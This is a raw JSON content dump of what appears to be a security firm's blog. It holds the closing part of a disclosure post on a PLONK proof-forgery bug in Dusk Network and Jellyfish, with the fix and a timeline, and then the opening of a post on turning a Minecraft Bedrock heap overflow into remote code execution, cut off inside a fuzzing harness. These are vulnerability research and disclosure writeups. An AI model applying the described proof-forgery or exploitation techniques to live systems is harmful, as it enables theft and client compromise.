division.",{"type":22,"tag":20097,"props":147819,"children":147820},{},[],{"type":22,"tag":169,"props":147822,"children":147824},{"id":147823},"impact-on-dusk-network",[147825],{"type":27,"value":147826},"Impact on Dusk Network",{"type":22,"tag":23,"props":147828,"children":147829},{},[147830,147832,147839],{"type":27,"value":147831},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":22,"tag":69,"props":147833,"children":147836},{"href":147834,"rel":147835},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[73],[147837],{"type":27,"value":147838},"preverify path",{"type":27,"value":147840},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":22,"tag":1867,"props":147842,"children":147843},{},[147844,147849,147854],{"type":22,"tag":1871,"props":147845,"children":147846},{},[147847],{"type":27,"value":147848},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":22,"tag":1871,"props":147850,"children":147851},{},[147852],{"type":27,"value":147853},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":22,"tag":1871,"props":147855,"children":147856},{},[147857],{"type":27,"value":147858},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":22,"tag":23,"props":147860,"children":147861},{},[147862],{"type":27,"value":147863},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":22,"tag":1867,"props":147865,"children":147866},{},[147867,147872,147882,147894,147899],{"type":22,"tag":1871,"props":147868,"children":147869},{},[147870],{"type":27,"value":147871},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":22,"tag":1871,"props":147873,"children":147874},{},[147875,147877],{"type":27,"value":147876},"The malicious wallet forges a PLONK proof to create ",{"type":22,"tag":242,"props":147878,"children":147879},{},[147880],{"type":27,"value":147881},"2000 DUSK from nothing",{"type":22,"tag":1871,"props":147883,"children":147884},{},[147885,147887,147892],{"type":27,"value":147886},"The malicious wallet transfers ",{"type":22,"tag":242,"props":147888,"children":147889},{},[147890],{"type":27,"value":147891},"1337 DUSK",{"type":27,"value":147893}," to the honest wallet using a normal (honestly-proved) transaction",{"type":22,"tag":1871,"props":147895,"children":147896},{},[147897],{"type":27,"value":147898},"The honest node validates both transactions and mines them into blocks",{"type":22,"tag":1871,"props":147900,"children":147901},{},[147902],{"type":27,"value":147903},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":22,"tag":23,"props":147905,"children":147906},{},[147907],{"type":22,"tag":215,"props":147908,"children":147911},{"alt":147909,"src":147910},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":22,"tag":23,"props":147913,"children":147914},{},[147915,147917,147923,147925,147932],{"type":27,"value":147916},"At the time of discovery, DUSK's market cap was roughly ",{"type":22,"tag":69,"props":147918,"children":147920},{"href":143218,"rel":147919},[73],[147921],{"type":27,"value":147922},"~60M",{"type":27,"value":147924},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":22,"tag":69,"props":147926,"children":147929},{"href":147927,"rel":147928},"https://neptune.cash/articles/critical-vulnerability-disclosure",[73],[147930],{"type":27,"value":147931},"Triton VM vulnerability",{"type":27,"value":210},{"type":22,"tag":20097,"props":147934,"children":147935},{},[],{"type":22,"tag":169,"props":147937,"children":147939},{"id":147938},"the-fix",[147940],{"type":27,"value":147941},"The fix",{"type":22,"tag":23,"props":147943,"children":147944},{},[147945],{"type":27,"value":147946},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":22,"tag":17988,"props":147948,"children":147949},{},[147950,147995],{"type":22,"tag":1871,"props":147951,"children":147952},{},[147953,147955,147966,147968,147974,147975,147981,147982,147988,147989],{"type":27,"value":147954},"Extend ",{"type":22,"tag":69,"props":147956,"children":147959},{"href":147957,"rel":147958},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[73],[147960],{"type":22,"tag":257,"props":147961,"children":147963},{"className":147962},[],[147964],{"type":27,"value":147965},"compute_aggregate_witness",{"type":27,"value":147967}," on the prover side to also include ",{"type":22,"tag":257,"props":147969,"children":147971},{"className":147970},[],[147972],{"type":27,"value":147973},"q_arith",{"type":27,"value":4380},{"type":22,"tag":257,"props":147976,"children":147978},{"className":147977},[],[147979],{"type":27,"value":147980},"q_c",{"type":27,"value":4380},{"type":22,"tag":257,"props":147983,"children":147985},{"className":147984},[],[147986],{"type":27,"value":147987},"q_l",{"type":27,"value":7780},{"type":22,"tag":257,"props":147990,"children":147992},{"className":147991},[],[147993],{"type":27,"value":147994},"q_r",{"type":22,"tag":1871,"props":147996,"children":147997},{},[147998,148000,148010],{"type":27,"value":147999},"Add their evaluations to ",{"type":22,"tag":69,"props":148001,"children":148004},{"href":148002,"rel":148003},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[73],[148005],{"type":22,"tag":257,"props":148006,"children":148008},{"className":148007},[],[148009],{"type":27,"value":147112},{"type":27,"value":148011}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":22,"tag":23,"props":148013,"children":148014},{},[148015,148017,148024],{"type":27,"value":148016},"This was done in ",{"type":22,"tag":69,"props":148018,"children":148021},{"href":148019,"rel":148020},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[73],[148022],{"type":27,"value":148023},"commit 645265b7",{"type":27,"value":148025},", which landed on February 14, 2026.",{"type":22,"tag":20097,"props":148027,"children":148028},{},[],{"type":22,"tag":169,"props":148030,"children":148032},{"id":148031},"why-was-this-missed",[148033],{"type":27,"value":148034},"Why was this missed?",{"type":22,"tag":23,"props":148036,"children":148037},{},[148038,148040,148047,148048,148055,148057,148064,148066,148073],{"type":27,"value":148039},"Dusk's stack had been heavily audited: a ",{"type":22,"tag":69,"props":148041,"children":148044},{"href":148042,"rel":148043},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[73],[148045],{"type":27,"value":148046},"December 2023 audit of dusk-plonk",{"type":27,"value":125690},{"type":22,"tag":69,"props":148049,"children":148052},{"href":148050,"rel":148051},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[73],[148053],{"type":27,"value":148054},"September 2024 audit of Phoenix",{"type":27,"value":148056},", and a ",{"type":22,"tag":69,"props":148058,"children":148061},{"href":148059,"rel":148060},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[73],[148062],{"type":27,"value":148063},"September 2024 Oak Security audit of the Rusk node library",{"type":27,"value":148065},". Dusk's public ",{"type":22,"tag":69,"props":148067,"children":148070},{"href":148068,"rel":148069},"https://dusk.network/news/audits-overview",[73],[148071],{"type":27,"value":148072},"audits overview",{"type":27,"value":148074}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":22,"tag":23,"props":148076,"children":148077},{},[148078,148080,148085],{"type":27,"value":148079},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":22,"tag":1699,"props":148081,"children":148082},{},[148083],{"type":27,"value":148084},"evaluations",{"type":27,"value":210},{"type":22,"tag":23,"props":148087,"children":148088},{},[148089],{"type":27,"value":148090},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":22,"tag":23,"props":148092,"children":148093},{},[148094],{"type":27,"value":148095},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":22,"tag":169,"props":148097,"children":148099},{"id":148098},"a-similar-bug-in-espresso-systems-jellyfish",[148100],{"type":27,"value":148101},"A similar bug in Espresso Systems' Jellyfish",{"type":22,"tag":23,"props":148103,"children":148104},{},[148105,148107,148114],{"type":27,"value":148106},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":22,"tag":69,"props":148108,"children":148111},{"href":148109,"rel":148110},"https://github.com/EspressoSystems/jellyfish/",[73],[148112],{"type":27,"value":148113},"jf-plonk",{"type":27,"value":148115}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":22,"tag":23,"props":148117,"children":148118},{},[148119,148121,148128,148130,148141,148143,148168,148170,148195],{"type":27,"value":148120},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":22,"tag":69,"props":148122,"children":148125},{"href":148123,"rel":148124},"https://eprint.iacr.org/2020/315",[73],[148126],{"type":27,"value":148127},"Plookup",{"type":27,"value":148129}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":22,"tag":69,"props":148131,"children":148134},{"href":148132,"rel":148133},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[73],[148135],{"type":22,"tag":257,"props":148136,"children":148138},{"className":148137},[],[148139],{"type":27,"value":148140},"append_plookup_evaluations",{"type":27,"value":148142}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":22,"tag":257,"props":148144,"children":148146},{"className":148145},[260,261],[148147],{"type":22,"tag":264,"props":148148,"children":148150},{"className":148149},[267],[148151],{"type":22,"tag":264,"props":148152,"children":148154},{"className":148153,"ariaHidden":273},[272],[148155],{"type":22,"tag":264,"props":148156,"children":148158},{"className":148157},[278],[148159,148163],{"type":22,"tag":264,"props":148160,"children":148162},{"className":148161,"style":112208},[283],[],{"type":22,"tag":264,"props":148164,"children":148166},{"className":148165,"style":94855},[289,2178],[148167],{"type":27,"value":115260},{"type":27,"value":148169}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":22,"tag":257,"props":148171,"children":148173},{"className":148172},[260,261],[148174],{"type":22,"tag":264,"props":148175,"children":148177},{"className":148176},[267],[148178],{"type":22,"tag":264,"props":148179,"children":148181},{"className":148180,"ariaHidden":273},[272],[148182],{"type":22,"tag":264,"props":148183,"children":148185},{"className":148184},[278],[148186,148190],{"type":22,"tag":264,"props":148187,"children":148189},{"className":148188,"style":112208},[283],[],{"type":22,"tag":264,"props":148191,"children":148193},{"className":148192,"style":94855},[289,2178],[148194],{"type":27,"value":115260},{"type":27,"value":148196},", so the prover can adjust them after the fact to make the check pass.",{"type":22,"tag":23,"props":148198,"children":148199},{},[148200,148202,148208,148210,148216],{"type":27,"value":148201},"The attack requires modifying a single evaluation (",{"type":22,"tag":257,"props":148203,"children":148205},{"className":148204},[],[148206],{"type":27,"value":148207},"key_table_next_eval",{"type":27,"value":148209},") by ",{"type":22,"tag":257,"props":148211,"children":148213},{"className":148212},[],[148214],{"type":27,"value":148215},"delta / (u * v^3)",{"type":27,"value":148217}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":22,"tag":23,"props":148219,"children":148220},{},[148221,148223,148230,148232,148243],{"type":27,"value":148222},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":22,"tag":69,"props":148224,"children":148227},{"href":148225,"rel":148226},"https://github.com/EspressoSystems/jellyfish/pull/867",[73],[148228],{"type":27,"value":148229},"PR #867",{"type":27,"value":148231}," fixed the issue and was tagged as ",{"type":22,"tag":69,"props":148233,"children":148236},{"href":148234,"rel":148235},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[73],[148237],{"type":22,"tag":257,"props":148238,"children":148240},{"className":148239},[],[148241],{"type":27,"value":148242},"jf-plonk-v0.8.0",{"type":27,"value":148244}," on March 18, 2026.",{"type":22,"tag":20097,"props":148246,"children":148247},{},[],{"type":22,"tag":169,"props":148249,"children":148251},{"id":148250},"toward-standardization",[148252],{"type":27,"value":148253},"Toward standardization",{"type":22,"tag":23,"props":148255,"children":148256},{},[148257,148259,148266],{"type":27,"value":148258},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":22,"tag":69,"props":148260,"children":148263},{"href":148261,"rel":148262},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[73],[148264],{"type":27,"value":148265},"similar patterns appear across zkVMs",{"type":27,"value":148267},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":22,"tag":23,"props":148269,"children":148270},{},[148271],{"type":27,"value":148272},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":22,"tag":23,"props":148274,"children":148275},{},[148276],{"type":27,"value":148277},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":22,"tag":169,"props":148279,"children":148280},{"id":62145},[148281],{"type":27,"value":148282},"Disclosure timeline",{"type":22,"tag":35,"props":148284,"children":148285},{},[148286,148302],{"type":22,"tag":39,"props":148287,"children":148288},{},[148289],{"type":22,"tag":43,"props":148290,"children":148291},{},[148292,148297],{"type":22,"tag":47,"props":148293,"children":148294},{},[148295],{"type":27,"value":148296},"Date",{"type":22,"tag":47,"props":148298,"children":148299},{},[148300],{"type":27,"value":148301},"Event",{"type":22,"tag":58,"props":148303,"children":148304},{},[148305,148318,148331,148343,148369,148389],{"type":22,"tag":43,"props":148306,"children":148307},{},[148308,148313],{"type":22,"tag":65,"props":148309,"children":148310},{},[148311],{"type":27,"value":148312},"2026-02-13",{"type":22,"tag":65,"props":148314,"children":148315},{},[148316],{"type":27,"value":148317},"Dusk vulnerability reported",{"type":22,"tag":43,"props":148319,"children":148320},{},[148321,148326],{"type":22,"tag":65,"props":148322,"children":148323},{},[148324],{"type":27,"value":148325},"2026-02-14",{"type":22,"tag":65,"props":148327,"children":148328},{},[148329],{"type":27,"value":148330},"Dusk acknowledged",{"type":22,"tag":43,"props":148332,"children":148333},{},[148334,148338],{"type":22,"tag":65,"props":148335,"children":148336},{},[148337],{"type":27,"value":148325},{"type":22,"tag":65,"props":148339,"children":148340},{},[148341],{"type":27,"value":148342},"Dusk fix committed",{"type":22,"tag":43,"props":148344,"children":148345},{},[148346,148351],{"type":22,"tag":65,"props":148347,"children":148348},{},[148349],{"type":27,"value":148350},"2026-02-27",{"type":22,"tag":65,"props":148352,"children":148353},{},[148354,148356,148367],{"type":27,"value":148355},"Public ",{"type":22,"tag":69,"props":148357,"children":148360},{"href":148358,"rel":148359},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[73],[148361],{"type":22,"tag":257,"props":148362,"children":148364},{"className":148363},[],[148365],{"type":27,"value":148366},"dusk-rusk-1.6.0",{"type":27,"value":148368}," release published",{"type":22,"tag":43,"props":148370,"children":148371},{},[148372,148377],{"type":22,"tag":65,"props":148373,"children":148374},{},[148375],{"type":27,"value":148376},"2026-03-16",{"type":22,"tag":65,"props":148378,"children":148379},{},[148380,148382,148388],{"type":27,"value":148381},"Jellyfish fix PR opened (",{"type":22,"tag":69,"props":148383,"children":148385},{"href":148225,"rel":148384},[73],[148386],{"type":27,"value":148387},"#867",{"type":27,"value":2806},{"type":22,"tag":43,"props":148390,"children":148391},{},[148392,148397],{"type":22,"tag":65,"props":148393,"children":148394},{},[148395],{"type":27,"value":148396},"2026-03-18",{"type":22,"tag":65,"props":148398,"children":148399},{},[148400,148402,148407,148409],{"type":27,"value":148401},"Jellyfish fix merged in ",{"type":22,"tag":69,"props":148403,"children":148405},{"href":148225,"rel":148404},[73],[148406],{"type":27,"value":148387},{"type":27,"value":148408}," and tagged as ",{"type":22,"tag":69,"props":148410,"children":148412},{"href":148234,"rel":148411},[73],[148413],{"type":22,"tag":257,"props":148414,"children":148416},{"className":148415},[],[148417],{"type":27,"value":148242},{"type":22,"tag":169,"props":148419,"children":148421},{"id":148420},"acknowledgements",[148422],{"type":27,"value":148423},"Acknowledgements",{"type":22,"tag":23,"props":148425,"children":148426},{},[148427],{"type":27,"value":148428},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":1545,"depth":1545,"links":148430},[148431,148438,148439,148440,148441,148442,148443,148444,148445,148446,148447,148448],{"id":143248,"depth":1545,"text":143251,"children":148432},[148433,148434,148435,148436,148437],{"id":143273,"depth":1560,"text":143276},{"id":144076,"depth":1560,"text":144079},{"id":145274,"depth":1560,"text":145277},{"id":145304,"depth":1560,"text":145307},{"id":145585,"depth":1560,"text":145588},{"id":146318,"depth":1545,"text":146321},{"id":146456,"depth":1545,"text":146459},{"id":91624,"depth":1545,"text":147087},{"id":147686,"depth":1545,"text":147689},{"id":147823,"depth":1545,"text":147826},{"id":147938,"depth":1545,"text":147941},{"id":148031,"depth":1545,"text":148034},{"id":148098,"depth":1545,"text":148101},{"id":148250,"depth":1545,"text":148253},{"id":62145,"depth":1545,"text":148282},{"id":148420,"depth":1545,"text":148423},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":148453,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":148454,"description":148455,"date":148456,"author":124957,"image":148457,"isFeatured":17,"onBlogPage":17,"tags":148459,"body":148462,"_type":4157,"_id":157841,"_source":4159,"_file":157842,"_stem":157843,"_extension":4162},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":148458,"width":98589,"height":14922},"/posts/minecraft-heap-overflow-to-rce/title.png",[148460,148461],"minecraft","rce",{"type":19,"children":148463,"toc":157818},[148464,148469,148474,148479,148485,148490,148509,148514,148520,148525,148530,148536,148541,148546,148551,148557,148562,148567,148573,148593,148605,148612,148634,148648,148655,148661,148671,148691,148696,148702,148715,149060,149065,149073,149079,149098,149406,149434,149477,149489,149497,149502,149971,149990,150011,150353,150377,150649,150673,150700,150909,150928,150936,150955,150961,151023,151026,151048,151052,151057,151062,151068,151073,151087,151093,151107,151113,151126,151131,151139,151144,151150,151171,151179,151192,151195,151200,151214,151219,151224,151230,151235,151258,151263,151269,151274,151286,151298,151412,151432,151437,151442,151448,151453,151473,152088,152101,153175,153180,153188,153193,153199,153204,153212,153225,153230,153235,153242,153255,153260,153267,153322,153342,153349,153368,153375,153378,153383,153388,153394,153406,153419,153427,153498,153509,153543,153551,153556,153561,153567,153579,153598,153610,153615,153623,153642,153650,153669,153677,153703,153711,153716,153724,153729,153737,153740,153745,153750,153756,153769,153787,153825,153855,153863,153868,153874,153879,153884,153890,153902,154071,154083,154091,154096,154103,154108,154169,154216,154228,154233,154259,154333,154371,154376,154384,154405,154410,154436,154470,154523,154570,154576,154595,154627,154635,154738,154809,154815,154841,154848,154853,154860,154865,155105,155131,155136,155184,155189,155195,155227,155239,155271,155279,155318,155326,155331,155339,155344,155352,155364,155372,155384,155392,155404,155424,155430,155450,155467,155475,155487,155495,155514,155519,155527,155532,155540,155566,155577,155584,155589,155597,155602,155610,155615,155623,155628,155636,155641,155649,155654,155662,155703,155710,155715,155723,155728,155736,155741,155749,155754,155759,155767,155772,155780,155806,155814,155840,155848,155853,155861,155866,155874,155882,155887,155895,155900,155908,155911,155922,155956,155974,155982,156002,156008,156027,156085,156105,156113,156116,156155,156215,156220,156226,156239,156247,156299,156338,156346,156379,156382,156402,156410,156416,156421,156429,156469,156510,156530,156535,156540,156558,156564,156569,156588,156649,156657,156683,156689,156709,156714,156719,156726,156791,156796,156803,156824,156829,156841,156847,156880,156887,156892,156920,156927,156983,156995,157002,157063,157082,157088,157122,157143,157170,157178,157231,157301,157307,157327,157370,157375,157773,157779,157784,157795,157799,157804,157809,157814],{"type":22,"tag":36687,"props":148465,"children":148467},{"id":148466},"pwning-minecraft-4-byte-heap-overflow-to-rce",[148468],{"type":27,"value":148454},{"type":22,"tag":23,"props":148470,"children":148471},{},[148472],{"type":27,"value":148473},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":22,"tag":23,"props":148475,"children":148476},{},[148477],{"type":27,"value":148478},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":22,"tag":169,"props":148480,"children":148482},{"id":148481},"the-target",[148483],{"type":27,"value":148484},"The Target",{"type":22,"tag":23,"props":148486,"children":148487},{},[148488],{"type":27,"value":148489},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":22,"tag":23,"props":148491,"children":148492},{},[148493,148495,148500,148502,148507],{"type":27,"value":148494},"There are two main editions: ",{"type":22,"tag":242,"props":148496,"children":148497},{},[148498],{"type":27,"value":148499},"Minecraft Java Edition",{"type":27,"value":148501},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":22,"tag":242,"props":148503,"children":148504},{},[148505],{"type":27,"value":148506},"Minecraft Bedrock Edition",{"type":27,"value":148508},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":22,"tag":23,"props":148510,"children":148511},{},[148512],{"type":27,"value":148513},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":22,"tag":181,"props":148515,"children":148517},{"id":148516},"choice-of-context",[148518],{"type":27,"value":148519},"Choice of Context",{"type":22,"tag":23,"props":148521,"children":148522},{},[148523],{"type":27,"value":148524},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":22,"tag":23,"props":148526,"children":148527},{},[148528],{"type":27,"value":148529},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":22,"tag":181,"props":148531,"children":148533},{"id":148532},"resource-packs",[148534],{"type":27,"value":148535},"Resource Packs",{"type":22,"tag":23,"props":148537,"children":148538},{},[148539],{"type":27,"value":148540},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":22,"tag":23,"props":148542,"children":148543},{},[148544],{"type":27,"value":148545},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":22,"tag":23,"props":148547,"children":148548},{},[148549],{"type":27,"value":148550},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":22,"tag":169,"props":148552,"children":148554},{"id":148553},"finding-a-memory-corruption-bug",[148555],{"type":27,"value":148556},"Finding a Memory Corruption Bug",{"type":22,"tag":23,"props":148558,"children":148559},{},[148560],{"type":27,"value":148561},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":22,"tag":23,"props":148563,"children":148564},{},[148565],{"type":27,"value":148566},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":22,"tag":181,"props":148568,"children":148570},{"id":148569},"locating-image-parsing-code",[148571],{"type":27,"value":148572},"Locating Image Parsing Code",{"type":22,"tag":23,"props":148574,"children":148575},{},[148576,148578,148584,148585,148591],{"type":27,"value":148577},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":22,"tag":257,"props":148579,"children":148581},{"className":148580},[],[148582],{"type":27,"value":148583},"PNG",{"type":27,"value":14432},{"type":22,"tag":257,"props":148586,"children":148588},{"className":148587},[],[148589],{"type":27,"value":148590},"GIF",{"type":27,"value":148592}," and look for error logging or other messages that use those substrings.",{"type":22,"tag":23,"props":148594,"children":148595},{},[148596,148598,148603],{"type":27,"value":148597},"Searching for the string ",{"type":22,"tag":257,"props":148599,"children":148601},{"className":148600},[],[148602],{"type":27,"value":148590},{"type":27,"value":148604}," returned some interesting results:",{"type":22,"tag":23,"props":148606,"children":148607},{},[148608],{"type":22,"tag":215,"props":148609,"children":148611},{"alt":51899,"src":148610},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":22,"tag":23,"props":148613,"children":148614},{},[148615,148617,148624,148626,148633],{"type":27,"value":148616},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":22,"tag":69,"props":148618,"children":148621},{"href":148619,"rel":148620},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[73],[148622],{"type":27,"value":148623},"stb_image.h",{"type":27,"value":148625},". For an example: usage of ",{"type":22,"tag":69,"props":148627,"children":148630},{"href":148628,"rel":148629},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[73],[148631],{"type":27,"value":148632},"bad Image Descriptor",{"type":27,"value":210},{"type":22,"tag":23,"props":148635,"children":148636},{},[148637,148639,148646],{"type":27,"value":148638},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":22,"tag":69,"props":148640,"children":148643},{"href":148641,"rel":148642},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[73],[148644],{"type":27,"value":148645},"stbi__gif_load_next",{"type":27,"value":148647},", and loaded the resource pack - this confirmed its usage:",{"type":22,"tag":23,"props":148649,"children":148650},{},[148651],{"type":22,"tag":215,"props":148652,"children":148654},{"alt":51899,"src":148653},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":22,"tag":181,"props":148656,"children":148658},{"id":148657},"stb-image-library",[148659],{"type":27,"value":148660},"STB Image Library",{"type":22,"tag":23,"props":148662,"children":148663},{},[148664,148669],{"type":22,"tag":257,"props":148665,"children":148667},{"className":148666},[],[148668],{"type":27,"value":148623},{"type":27,"value":148670}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":22,"tag":23,"props":148672,"children":148673},{},[148674,148676,148681,148683,148690],{"type":27,"value":148675},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":22,"tag":257,"props":148677,"children":148679},{"className":148678},[],[148680],{"type":27,"value":148623},{"type":27,"value":148682}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":22,"tag":69,"props":148684,"children":148687},{"href":148685,"rel":148686},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[73],[148688],{"type":27,"value":148689},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":27,"value":210},{"type":22,"tag":23,"props":148692,"children":148693},{},[148694],{"type":27,"value":148695},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":22,"tag":20197,"props":148697,"children":148699},{"id":148698},"fuzzing",[148700],{"type":27,"value":148701},"Fuzzing",{"type":22,"tag":23,"props":148703,"children":148704},{},[148705,148707,148714],{"type":27,"value":148706},"The fuzzer consisted of a very simple ",{"type":22,"tag":69,"props":148708,"children":148711},{"href":148709,"rel":148710},"https://github.com/AFLplusplus/AFLplusplus",[73],[148712],{"type":27,"value":148713},"AFL++",{"type":27,"value":28053},{"type":22,"tag":618,"props":148716,"children":148718},{"code":148717,"language":4449,"meta":7,"className":17815,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[148719],{"type":22,"tag":257,"props":148720,"children":148721},{"__ignoreMap":7},[148722,148735,148747,148754,148800,148812,148833,148840,148864,148879,148886,148893,148965,148989,149004,149011,149018,149031,149038,149053],{"type":22,"tag":264,"props":148723,"children":148724},{"class":1534,"line":1535},[148725,148730],{"type":22,"tag":264,"props":148726,"children":148727},{"style":4328},[148728],{"type":27,"value":148729},"#define",{"type":22,"tag":264,"props":148731,"children":148732},{"style":4401},[148733],{"type":27,"value":148734}," 